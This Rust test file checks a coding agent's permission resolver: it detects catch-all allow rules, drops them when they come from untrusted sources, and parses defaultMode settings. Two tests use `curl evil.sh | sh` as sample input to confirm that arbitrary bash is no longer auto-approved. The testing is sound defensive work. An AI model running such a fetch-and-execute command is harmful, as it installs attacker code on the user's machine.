// Catch-all `Allow Any` drop from untrusted sources under the pin
|
||
|
||
fn allow_any(pattern: Option<&str>) -> PermissionRule {
|
||
PermissionRule {
|
||
action: RuleAction::Allow,
|
||
tool: ToolFilter::Any,
|
||
pattern: pattern.map(str::to_string),
|
||
pattern_mode: PatternMode::Glob,
|
||
}
|
||
}
|
||
|
||
fn allow_tool(tool: &ToolFilter, pattern: Option<&str>) -> PermissionRule {
|
||
PermissionRule {
|
||
action: RuleAction::Allow,
|
||
tool: tool.clone(),
|
||
pattern: pattern.map(str::to_string),
|
||
pattern_mode: PatternMode::Glob,
|
||
}
|
||
}
|
||
|
||
#[test]
|
||
fn catchall_allow_detection() {
|
||
// Match-all patterns (`*`, None, and the globs `**` / `**/*`) are catch-alls.
|
||
assert!(is_catchall_allow(&allow_any(Some("*"))));
|
||
assert!(is_catchall_allow(&allow_any(None)));
|
||
assert!(is_catchall_allow(&allow_any(Some("**"))));
|
||
assert!(is_catchall_allow(&allow_any(Some("**/*"))));
|
||
// Scoped Allow(Any) patterns must survive (no over-drop).
|
||
assert!(!is_catchall_allow(&allow_any(Some("src/*"))));
|
||
assert!(!is_catchall_allow(&allow_any(Some("src/**"))));
|
||
assert!(!is_catchall_allow(&allow_any(Some("**/*.rs"))));
|
||
assert!(!is_catchall_allow(&allow_any(Some("git *"))));
|
||
// Deny is never a catch-all allow, even with `*`.
|
||
assert!(!is_catchall_allow(&PermissionRule {
|
||
action: RuleAction::Deny,
|
||
tool: ToolFilter::Any,
|
||
pattern: Some("*".into()),
|
||
pattern_mode: PatternMode::Glob,
|
||
}));
|
||
}
|
||
|
||
/// FIX 2: a bare/match-all Allow on a freeform-execution dimension
|
||
/// (Bash / MCP / WebFetch) is a `--yolo` substitute — including the
|
||
/// prefix-regime `?*`-class and bare `allow = ["Bash"]` ({Allow, Bash, None})
|
||
/// that the `Any`-only detector missed. Scoped grants and file-access
|
||
/// dimensions (Read/Edit/Grep) are NOT catch-alls.
|
||
#[test]
|
||
fn catchall_allow_covers_freeform_dimensions() {
|
||
for tool in [&ToolFilter::Bash, &ToolFilter::Mcp, &ToolFilter::WebFetch] {
|
||
// Bare per-tool allow (pattern None) and match-all patterns.
|
||
assert!(is_catchall_allow(&allow_tool(tool, None)), "{tool:?} bare");
|
||
assert!(
|
||
is_catchall_allow(&allow_tool(tool, Some("*"))),
|
||
"{tool:?} *"
|
||
);
|
||
assert!(
|
||
is_catchall_allow(&allow_tool(tool, Some("**"))),
|
||
"{tool:?} **"
|
||
);
|
||
assert!(
|
||
is_catchall_allow(&allow_tool(tool, Some("?*"))),
|
||
"{tool:?} ?*"
|
||
);
|
||
// Scoped grants survive.
|
||
assert!(
|
||
!is_catchall_allow(&allow_tool(tool, Some("git *"))),
|
||
"{tool:?} scoped"
|
||
);
|
||
}
|
||
// Bash prefix regime: `npm*` only auto-approves `npm ...` — keep it.
|
||
assert!(!is_catchall_allow(&allow_tool(
|
||
&ToolFilter::Bash,
|
||
Some("npm*")
|
||
)));
|
||
// Regression: a URL-glob catch-all (`WebFetch(*://*)`) matches every URL
|
||
// at enforcement; the bash-shaped probe missed it, so it must be dropped.
|
||
assert!(is_catchall_allow(&allow_tool(
|
||
&ToolFilter::WebFetch,
|
||
Some("*://*")
|
||
)));
|
||
// File-access dimensions are not freeform execution: never dropped here,
|
||
// even bare (no command-execution exposure).
|
||
for tool in [&ToolFilter::Read, &ToolFilter::Edit, &ToolFilter::Grep] {
|
||
assert!(
|
||
!is_catchall_allow(&allow_tool(tool, None)),
|
||
"{tool:?} bare kept"
|
||
);
|
||
assert!(
|
||
!is_catchall_allow(&allow_tool(tool, Some("**"))),
|
||
"{tool:?} ** kept"
|
||
);
|
||
}
|
||
}
|
||
|
||
#[test]
|
||
fn admin_source_trusts_only_root_owned_tiers() {
|
||
// Only managed-settings and the system-dir requirements layer are admin;
|
||
// the user-writable `~/.kigi/requirements.toml` is not, despite its path.
|
||
let p = std::path::PathBuf::from("x");
|
||
assert!(is_admin_source(&RequirementSource::ManagedSettings {
|
||
path: p.clone()
|
||
}));
|
||
assert!(is_admin_source(&RequirementSource::SystemRequirements {
|
||
path: "/etc/kigi/requirements.toml".into(),
|
||
}));
|
||
assert!(!is_admin_source(&RequirementSource::Requirements {
|
||
path: "/home/u/.kigi/requirements.toml".into(),
|
||
}));
|
||
assert!(!is_admin_source(&RequirementSource::ManagedConfig {
|
||
path: "/etc/kigi/managed_config.toml".into(),
|
||
}));
|
||
assert!(!is_admin_source(&RequirementSource::Config {
|
||
path: p.clone()
|
||
}));
|
||
assert!(!is_admin_source(&RequirementSource::Settings {
|
||
path: p.clone()
|
||
}));
|
||
assert!(!is_admin_source(&RequirementSource::Unknown));
|
||
}
|
||
|
||
/// The drop is both source-aware (untrusted catch-alls go, root-owned stay)
|
||
/// and pattern-aware (the match-all globs `*` / `**` / `**/*` count; a scoped
|
||
/// `Allow(Any, "src/**")` is not a catch-all and always survives).
|
||
#[test]
|
||
fn drop_untrusted_catchall_allows_is_source_aware() {
|
||
let sourced = |value, source| Sourced { value, source };
|
||
let rules = vec![
|
||
// Untrusted catch-alls spanning the match-all pattern spellings.
|
||
sourced(
|
||
allow_any(Some("*")),
|
||
RequirementSource::Config { path: "c".into() },
|
||
),
|
||
sourced(
|
||
allow_any(Some("**")),
|
||
RequirementSource::Settings { path: "s".into() },
|
||
),
|
||
// User-home requirements — untrusted.
|
||
sourced(
|
||
allow_any(Some("**/*")),
|
||
RequirementSource::Requirements {
|
||
path: "/home/u/.kigi/requirements.toml".into(),
|
||
},
|
||
),
|
||
// Managed config: defaults tier, untrusted even from /etc/kigi.
|
||
sourced(
|
||
allow_any(Some("*")),
|
||
RequirementSource::ManagedConfig {
|
||
path: "/etc/kigi/managed_config.toml".into(),
|
||
},
|
||
),
|
||
// Scoped Allow(Any) from an untrusted source — not a catch-all, kept.
|
||
sourced(
|
||
allow_any(Some("src/**")),
|
||
RequirementSource::Config { path: "c".into() },
|
||
),
|
||
// System-dir requirements — root-owned, trusted.
|
||
sourced(
|
||
allow_any(Some("*")),
|
||
RequirementSource::SystemRequirements {
|
||
path: "/etc/kigi/requirements.toml".into(),
|
||
},
|
||
),
|
||
sourced(
|
||
allow_any(Some("*")),
|
||
RequirementSource::ManagedSettings { path: "m".into() },
|
||
),
|
||
];
|
||
|
||
// No pin: everything kept.
|
||
let mut skipped = Vec::new();
|
||
let kept = drop_untrusted_catchall_allows(rules.clone(), None, &mut skipped);
|
||
assert_eq!(kept.len(), 7);
|
||
assert!(skipped.is_empty());
|
||
|
||
// Pin: untrusted catch-alls (`*`, `**`, `**/*`) drop; the scoped `src/**`
|
||
// and the two root-owned catch-alls survive.
|
||
let mut skipped = Vec::new();
|
||
let kept = drop_untrusted_catchall_allows(rules, Some(PIN), &mut skipped);
|
||
assert_eq!(
|
||
kept.len(),
|
||
3,
|
||
"scoped rule + two root-owned catch-alls survive"
|
||
);
|
||
assert!(
|
||
kept.iter()
|
||
.any(|s| s.value.pattern.as_deref() == Some("src/**")),
|
||
"scoped Allow(Any) must survive the drop"
|
||
);
|
||
let surviving_catchalls: Vec<_> = kept
|
||
.iter()
|
||
.filter(|s| is_catchall_allow(&s.value))
|
||
.collect();
|
||
assert_eq!(
|
||
surviving_catchalls.len(),
|
||
2,
|
||
"only the root-owned catch-alls survive"
|
||
);
|
||
assert!(
|
||
surviving_catchalls
|
||
.iter()
|
||
.all(|s| is_admin_source(&s.source))
|
||
);
|
||
assert!(
|
||
surviving_catchalls
|
||
.iter()
|
||
.any(|s| matches!(s.source, RequirementSource::SystemRequirements { .. }))
|
||
);
|
||
assert_eq!(skipped.len(), 4);
|
||
assert!(skipped.iter().all(|s| s.reason == PIN));
|
||
}
|
||
|
||
/// FIX 2: under the pin, a blanket freeform-execution Allow (bare
|
||
/// `allow = ["Bash"]`, `?*`) from an untrusted source is dropped, while the
|
||
/// SAME rule from a root-owned admin source survives and a scoped
|
||
/// `Bash(git *)` is always kept.
|
||
#[test]
|
||
fn drop_untrusted_freeform_catchalls_respects_source_and_scope() {
|
||
let sourced = |value, source| Sourced { value, source };
|
||
let untrusted = || RequirementSource::Requirements {
|
||
path: "/home/u/.kigi/requirements.toml".into(),
|
||
};
|
||
let admin = || RequirementSource::SystemRequirements {
|
||
path: "/etc/kigi/requirements.toml".into(),
|
||
};
|
||
let rules = vec![
|
||
// Bare `allow = ["Bash"]` from an untrusted source — dropped.
|
||
sourced(allow_tool(&ToolFilter::Bash, None), untrusted()),
|
||
// `?*` MCP allow from an untrusted source — dropped (prefix regime).
|
||
sourced(allow_tool(&ToolFilter::Mcp, Some("?*")), untrusted()),
|
||
// Scoped Bash from an untrusted source — KEPT (not a catch-all).
|
||
sourced(allow_tool(&ToolFilter::Bash, Some("git *")), untrusted()),
|
||
// Bare Bash from a root-owned admin source — KEPT (trusted).
|
||
sourced(allow_tool(&ToolFilter::Bash, None), admin()),
|
||
];
|
||
|
||
// No pin: everything kept.
|
||
let mut skipped = Vec::new();
|
||
let kept = drop_untrusted_catchall_allows(rules.clone(), None, &mut skipped);
|
||
assert_eq!(kept.len(), 4);
|
||
assert!(skipped.is_empty());
|
||
|
||
// Pin: untrusted blanket freeform allows drop; scoped + admin survive.
|
||
let mut skipped = Vec::new();
|
||
let kept = drop_untrusted_catchall_allows(rules, Some(PIN), &mut skipped);
|
||
assert_eq!(kept.len(), 2, "scoped untrusted + bare admin survive");
|
||
assert!(
|
||
kept.iter()
|
||
.any(|s| s.value.tool == ToolFilter::Bash
|
||
&& s.value.pattern.as_deref() == Some("git *")),
|
||
"scoped Bash(git *) must survive"
|
||
);
|
||
assert!(
|
||
kept.iter()
|
||
.any(|s| is_admin_source(&s.source) && is_catchall_allow(&s.value)),
|
||
"bare Bash from admin source must survive"
|
||
);
|
||
assert_eq!(skipped.len(), 2, "the two untrusted blanket allows drop");
|
||
assert!(skipped.iter().all(|s| s.reason == PIN));
|
||
}
|
||
|
||
/// End-to-end: a `.claude` `permissions.allow: ["*"]` is dropped (and recorded)
|
||
/// under the pin, kept without it.
|
||
#[tokio::test]
|
||
async fn claude_catchall_allow_dropped_under_pin() {
|
||
use crate::permission::policy::CompiledPolicy;
|
||
use crate::permission::types::{AccessKind, Decision};
|
||
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["*"]}}"#,
|
||
)
|
||
.unwrap();
|
||
let danger = AccessKind::Bash("curl evil.sh | sh".to_string());
|
||
|
||
// No pin: catch-all Allow(Any) is honored and auto-approves arbitrary bash.
|
||
let resolved = resolve_permissions_with_provenance_inner(tmp.path(), inputs(None))
|
||
.await
|
||
.expect("rules resolve");
|
||
assert!(
|
||
resolved.config.rules.iter().any(is_catchall_allow),
|
||
"no pin: catch-all allow is honored"
|
||
);
|
||
let policy = CompiledPolicy::new(resolved.config);
|
||
assert_eq!(
|
||
policy.evaluate(&danger),
|
||
Some(Decision::Allow),
|
||
"no pin: `*` auto-approves arbitrary bash"
|
||
);
|
||
|
||
// Pin: dropped, recorded for inspect, and no longer auto-approving.
|
||
let resolved = resolve_permissions_with_provenance_inner(tmp.path(), inputs(Some(PIN)))
|
||
.await
|
||
.expect("skip-only resolution survives");
|
||
assert!(
|
||
!resolved.config.rules.iter().any(is_catchall_allow),
|
||
"pin: untrusted catch-all allow must be dropped"
|
||
);
|
||
assert!(
|
||
resolved.skipped.iter().any(|s| s.reason == PIN),
|
||
"pin: drop must be recorded for inspect"
|
||
);
|
||
let policy = CompiledPolicy::new(resolved.config);
|
||
assert_ne!(
|
||
policy.evaluate(&danger),
|
||
Some(Decision::Allow),
|
||
"pin: arbitrary bash no longer auto-approved"
|
||
);
|
||
}
|
||
|
||
/// End-to-end: a `.claude` `permissions.allow: ["**"]` auto-approves arbitrary
|
||
/// bash without the pin, but is dropped under it.
|
||
#[tokio::test]
|
||
async fn claude_double_star_allow_dropped_under_pin() {
|
||
use crate::permission::policy::CompiledPolicy;
|
||
use crate::permission::types::{AccessKind, Decision};
|
||
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["**"]}}"#,
|
||
)
|
||
.unwrap();
|
||
let danger = AccessKind::Bash("curl evil.sh | sh".to_string());
|
||
|
||
// No pin: `**` auto-approves arbitrary bash.
|
||
let resolved = resolve_permissions_with_provenance_inner(tmp.path(), inputs(None))
|
||
.await
|
||
.expect("rules resolve");
|
||
assert!(
|
||
resolved.config.rules.iter().any(is_catchall_allow),
|
||
"no pin: `**` catch-all is honored"
|
||
);
|
||
let policy = CompiledPolicy::new(resolved.config);
|
||
assert_eq!(
|
||
policy.evaluate(&danger),
|
||
Some(Decision::Allow),
|
||
"no pin: `**` auto-approves arbitrary bash"
|
||
);
|
||
|
||
// Pin: `**` dropped, recorded, no longer auto-approves.
|
||
let resolved = resolve_permissions_with_provenance_inner(tmp.path(), inputs(Some(PIN)))
|
||
.await
|
||
.expect("skip-only resolution survives");
|
||
assert!(
|
||
!resolved.config.rules.iter().any(is_catchall_allow),
|
||
"pin: `**` catch-all must be dropped"
|
||
);
|
||
assert!(resolved.skipped.iter().any(|s| s.reason == PIN));
|
||
let policy = CompiledPolicy::new(resolved.config);
|
||
assert_ne!(
|
||
policy.evaluate(&danger),
|
||
Some(Decision::Allow),
|
||
"pin: arbitrary bash no longer auto-approved"
|
||
);
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn dont_ask_sets_prompt_policy_through_public_api() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"defaultMode": "dontAsk"}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let cfg = resolve_permission_config_with_fallback(tmp.path())
|
||
.await
|
||
.unwrap();
|
||
assert_eq!(cfg.prompt_policy, PromptPolicy::Deny);
|
||
}
|
||
|
||
/// Vendor settings write `defaultMode` under `permissions` (canonical).
|
||
/// Regression: root-only reads silently ignored real user settings.
|
||
#[tokio::test]
|
||
async fn dont_ask_nested_under_permissions_sets_prompt_policy() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"defaultMode": "dontAsk"}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let cfg = resolve_permission_config_with_fallback(tmp.path())
|
||
.await
|
||
.unwrap();
|
||
assert_eq!(
|
||
cfg.prompt_policy,
|
||
PromptPolicy::Deny,
|
||
"canonical permissions.defaultMode=dontAsk must set Deny policy"
|
||
);
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn auto_nested_under_permissions_sets_prompt_policy() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"defaultMode": "auto"}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let cfg = resolve_permission_config_with_fallback(tmp.path())
|
||
.await
|
||
.unwrap();
|
||
assert_eq!(
|
||
cfg.prompt_policy,
|
||
PromptPolicy::Auto,
|
||
"canonical permissions.defaultMode=auto must set Auto policy"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn default_mode_from_str_and_effects() {
|
||
assert!(
|
||
DefaultPermissionMode::from_str("acceptEdits")
|
||
.unwrap()
|
||
.effects()
|
||
.accept_edits
|
||
);
|
||
assert!(
|
||
DefaultPermissionMode::from_str("bypassPermissions")
|
||
.unwrap()
|
||
.effects()
|
||
.bypass_permissions
|
||
);
|
||
assert_eq!(
|
||
DefaultPermissionMode::from_str("dontAsk")
|
||
.unwrap()
|
||
.effects()
|
||
.prompt_policy,
|
||
PromptPolicy::Deny
|
||
);
|
||
assert_eq!(
|
||
DefaultPermissionMode::from_str("auto")
|
||
.unwrap()
|
||
.effects()
|
||
.prompt_policy,
|
||
PromptPolicy::Auto
|
||
);
|
||
assert_eq!(
|
||
DefaultPermissionMode::from_str("default")
|
||
.unwrap()
|
||
.effects()
|
||
.prompt_policy,
|
||
PromptPolicy::Ask
|
||
);
|
||
assert!(DefaultPermissionMode::from_str("nope").is_err());
|
||
}
|
||
|
||
#[test]
|
||
fn parse_managed_settings_reads_nested_default_mode() {
|
||
let json = serde_json::json!({
|
||
"permissions": {
|
||
"defaultMode": "dontAsk",
|
||
"allow": ["Bash(git status)"]
|
||
}
|
||
});
|
||
let path = std::path::Path::new("/test/managed-settings.json");
|
||
let ms = parse_managed_settings_json(&json, path);
|
||
assert_eq!(ms.default_mode, Some(DefaultPermissionMode::DontAsk));
|
||
assert_eq!(ms.permissions.len(), 1);
|
||
|
||
let auto_json = serde_json::json!({
|
||
"permissions": { "defaultMode": "auto" }
|
||
});
|
||
let ms_auto = parse_managed_settings_json(&auto_json, path);
|
||
assert_eq!(ms_auto.default_mode, Some(DefaultPermissionMode::Auto));
|
||
}
|
||
|
||
/// All permission rule strings fail to parse → skip-only resolution must not panic.
|
||
#[test]
|
||
fn skip_only_invalid_permissions_resolves_without_panic() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
// EnterWorktree is a recognized-but-unsupported Claude prefix (parse error).
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"allow": ["EnterWorktree(foo)", "EnterWorktree(bar)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, skipped, source) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply)
|
||
.expect("skip-only invalid permissions must resolve, not panic or None");
|
||
assert!(cfg.rules.is_empty(), "no valid rules");
|
||
assert_eq!(skipped.len(), 2, "both parse failures recorded as skips");
|
||
assert_eq!(
|
||
source.file_name().and_then(|s| s.to_str()),
|
||
Some("settings.json"),
|
||
"provenance should point at the settings file, got {source:?}"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn nested_wrong_type_does_not_fall_back_to_root_default_mode() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{
|
||
"defaultMode": "acceptEdits",
|
||
"permissions": { "defaultMode": 123 }
|
||
}"#,
|
||
)
|
||
.unwrap();
|
||
let settings = load_claude_settings(&path).expect("load");
|
||
assert_eq!(
|
||
settings.default_mode, None,
|
||
"malformed nested key must not resurrect root legacy defaultMode"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn unrecognized_project_mode_claims_scope_over_global_accept_edits() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let repo = tmp.path().join("repo");
|
||
let sub = repo.join("pkg");
|
||
std::fs::create_dir_all(sub.join(".claude")).unwrap();
|
||
std::fs::create_dir_all(repo.join(".claude")).unwrap();
|
||
std::fs::create_dir_all(repo.join(".git")).unwrap();
|
||
std::fs::write(
|
||
repo.join(".claude/settings.json"),
|
||
r#"{"permissions": {"defaultMode": "acceptEdits"}}"#,
|
||
)
|
||
.unwrap();
|
||
std::fs::write(
|
||
sub.join(".claude/settings.json"),
|
||
r#"{"permissions": {"defaultMode": "dontask"}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, skipped, _) =
|
||
resolve_claude_settings_inner(&sub, None, UserDefaultModeLoad::Apply).unwrap();
|
||
assert_eq!(
|
||
cfg.prompt_policy,
|
||
PromptPolicy::Ask,
|
||
"typo must map to default (Ask), not inherit parent acceptEdits"
|
||
);
|
||
assert!(
|
||
!cfg.rules.iter().any(|r| {
|
||
r.action == RuleAction::Allow
|
||
&& matches!(r.tool, ToolFilter::Edit)
|
||
&& r.pattern.is_none()
|
||
}),
|
||
"parent acceptEdits synthetic must not apply when child claimed mode"
|
||
);
|
||
assert!(
|
||
skipped
|
||
.iter()
|
||
.any(|s| s.rule.contains("dontask") || s.rule.contains("defaultMode=")),
|
||
"typo should be recorded for kigi inspect"
|
||
);
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn managed_default_mode_dont_ask_outranks_user_accept_edits() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{"permissions": {"defaultMode": "acceptEdits", "allow": ["Bash(ls)"]}}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let managed = ManagedSettings {
|
||
default_mode: Some(DefaultPermissionMode::DontAsk),
|
||
features: ManagedSettingsFeatures {
|
||
source_path: Some(PathBuf::from("/etc/claude-code/managed-settings.json")),
|
||
..Default::default()
|
||
},
|
||
..Default::default()
|
||
};
|
||
|
||
let resolved = resolve_permissions_with_provenance_inner(
|
||
tmp.path(),
|
||
inputs_with_managed(None, &managed),
|
||
)
|
||
.await
|
||
.expect("resolution");
|
||
assert_eq!(resolved.config.prompt_policy, PromptPolicy::Deny);
|
||
assert!(
|
||
!resolved.config.rules.iter().any(|r| {
|
||
r.action == RuleAction::Allow
|
||
&& matches!(r.tool, ToolFilter::Edit)
|
||
&& r.pattern.is_none()
|
||
}),
|
||
"managed dontAsk must suppress user acceptEdits synthetic rule"
|
||
);
|
||
assert!(
|
||
resolved
|
||
.config
|
||
.rules
|
||
.iter()
|
||
.any(|r| r.action == RuleAction::Allow && matches!(r.tool, ToolFilter::Bash)),
|
||
"user allow rules still merge under managed mode"
|
||
);
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn managed_default_mode_auto_sets_prompt_policy() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let managed = ManagedSettings {
|
||
default_mode: Some(DefaultPermissionMode::Auto),
|
||
features: ManagedSettingsFeatures {
|
||
source_path: Some(PathBuf::from("/etc/claude-code/managed-settings.json")),
|
||
..Default::default()
|
||
},
|
||
..Default::default()
|
||
};
|
||
let resolved = resolve_permissions_with_provenance_inner(
|
||
tmp.path(),
|
||
inputs_with_managed(None, &managed),
|
||
)
|
||
.await
|
||
.expect("auto-only managed mode still resolves");
|
||
assert_eq!(resolved.config.prompt_policy, PromptPolicy::Auto);
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn managed_accept_edits_appends_synthetic_edit_rule() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let managed = ManagedSettings {
|
||
default_mode: Some(DefaultPermissionMode::AcceptEdits),
|
||
features: ManagedSettingsFeatures {
|
||
source_path: Some(PathBuf::from("/etc/claude-code/managed-settings.json")),
|
||
..Default::default()
|
||
},
|
||
..Default::default()
|
||
};
|
||
let resolved = resolve_permissions_with_provenance_inner(
|
||
tmp.path(),
|
||
inputs_with_managed(None, &managed),
|
||
)
|
||
.await
|
||
.expect("acceptEdits resolves");
|
||
assert!(resolved.config.rules.iter().any(|r| {
|
||
r.action == RuleAction::Allow
|
||
&& matches!(r.tool, ToolFilter::Edit)
|
||
&& r.pattern.is_none()
|
||
}));
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn managed_bypass_under_pin_records_skip_without_catchall() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let managed = ManagedSettings {
|
||
default_mode: Some(DefaultPermissionMode::BypassPermissions),
|
||
features: ManagedSettingsFeatures {
|
||
source_path: Some(PathBuf::from("/etc/claude-code/managed-settings.json")),
|
||
..Default::default()
|
||
},
|
||
..Default::default()
|
||
};
|
||
let resolved = resolve_permissions_with_provenance_inner(
|
||
tmp.path(),
|
||
inputs_with_managed(Some("pin-reason"), &managed),
|
||
)
|
||
.await
|
||
.expect("blocked bypass still resolves for inspect");
|
||
assert!(
|
||
!resolved
|
||
.config
|
||
.rules
|
||
.iter()
|
||
.any(|r| r.action == RuleAction::Allow && matches!(r.tool, ToolFilter::Any)),
|
||
"pin must drop catch-all allow"
|
||
);
|
||
assert!(
|
||
resolved
|
||
.skipped
|
||
.iter()
|
||
.any(|s| s.rule == "defaultMode=bypassPermissions")
|
||
);
|
||
}
|
||
|
||
#[tokio::test]
|
||
async fn nested_dont_ask_with_allow_rules_preserves_allow_and_deny_policy() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
r#"{
|
||
"permissions": {
|
||
"defaultMode": "dontAsk",
|
||
"allow": ["Bash(git status)", "Read"]
|
||
}
|
||
}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let cfg = resolve_permission_config_with_fallback(tmp.path())
|
||
.await
|
||
.unwrap();
|
||
assert_eq!(cfg.prompt_policy, PromptPolicy::Deny);
|
||
assert!(
|
||
!cfg.rules.is_empty(),
|
||
"explicit allow rules must still load alongside dontAsk"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn nested_default_mode_wins_over_root_default_mode() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{
|
||
"defaultMode": "acceptEdits",
|
||
"permissions": { "defaultMode": "dontAsk" }
|
||
}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let settings = load_claude_settings(&path).expect("load");
|
||
assert_eq!(
|
||
settings.default_mode.as_deref(),
|
||
Some("dontAsk"),
|
||
"permissions.defaultMode must take precedence over root defaultMode"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn nested_wrong_type_does_not_fall_back_to_root_additional_directories() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{
|
||
"additionalDirectories": ["/root-only"],
|
||
"permissions": { "additionalDirectories": "/nested-not-an-array" }
|
||
}"#,
|
||
)
|
||
.unwrap();
|
||
let settings = load_claude_settings(&path).expect("load");
|
||
assert_eq!(
|
||
settings.additional_directories, None,
|
||
"malformed nested key must not resurrect root legacy additionalDirectories"
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn nested_additional_directories_preferred_over_root() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(
|
||
&path,
|
||
r#"{
|
||
"additionalDirectories": ["/root-only"],
|
||
"permissions": { "additionalDirectories": ["/nested"] }
|
||
}"#,
|
||
)
|
||
.unwrap();
|
||
|
||
let settings = load_claude_settings(&path).expect("load");
|
||
assert_eq!(
|
||
settings.additional_directories.as_deref(),
|
||
Some(&["/nested".to_string()][..]),
|
||
);
|
||
}
|
||
|
||
#[test]
|
||
fn root_default_mode_still_works_as_compat_fallback() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let path = tmp.path().join("settings.json");
|
||
std::fs::write(&path, r#"{"defaultMode": "acceptEdits"}"#).unwrap();
|
||
|
||
let settings = load_claude_settings(&path).expect("load");
|
||
assert_eq!(settings.default_mode.as_deref(), Some("acceptEdits"));
|
||
}
|
||
|
||
#[test]
|
||
fn default_mode_known_values_no_warnings() {
|
||
let tmp = tempfile::tempdir().unwrap();
|
||
let claude_dir = tmp.path().join(".claude");
|
||
std::fs::create_dir_all(&claude_dir).unwrap();
|
||
|
||
// "default" and "plan" should be recognized (no synthetic rules)
|
||
for mode in &["default", "plan"] {
|
||
std::fs::write(
|
||
claude_dir.join("settings.json"),
|
||
format!(
|
||
r#"{{"defaultMode": "{}", "permissions": {{"allow": ["Bash(ls)"]}}}}"#,
|
||
mode
|
||
),
|
||
)
|
||
.unwrap();
|
||
|
||
let (cfg, _, _) =
|
||
resolve_claude_settings_inner(tmp.path(), None, UserDefaultModeLoad::Apply)
|
||
.unwrap();
|
||
// Should have only the explicit rule, no synthetic
|
||
assert_eq!(
|
||
cfg.rules.len(),
|
||
1,
|
||
"defaultMode '{}' should not produce synthetic rules",
|
||
mode
|
||
);
|
||
}
|
||
}
|
||
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
// Additional tool prefix tests
|
||
// ═══════════════════════════════════════════════════════════════════════
|
||
|
||
#[test]
|
||
fn parse_glob_tool_prefix() {
|
||
let rule = parse_permission_rule("Glob(src/**)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Grep);
|
||
assert_eq!(rule.pattern, Some("src/**".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_web_search_tool_prefix() {
|
||
let rule = parse_permission_rule("WebSearch(query)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::WebSearch);
|
||
assert_eq!(rule.pattern, Some("query".to_string()));
|
||
}
|
||
|
||
#[test]
|
||
fn parse_notebook_read_tool_prefix() {
|
||
let rule = parse_permission_rule("NotebookRead(*.ipynb)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Read);
|
||
}
|
||
|
||
#[test]
|
||
fn parse_notebook_edit_tool_prefix() {
|
||
let rule = parse_permission_rule("NotebookEdit(*.ipynb)", RuleAction::Allow).unwrap();
|
||
assert_eq!(rule.tool, ToolFilter::Edit);
|
||
}
|
||
|
||
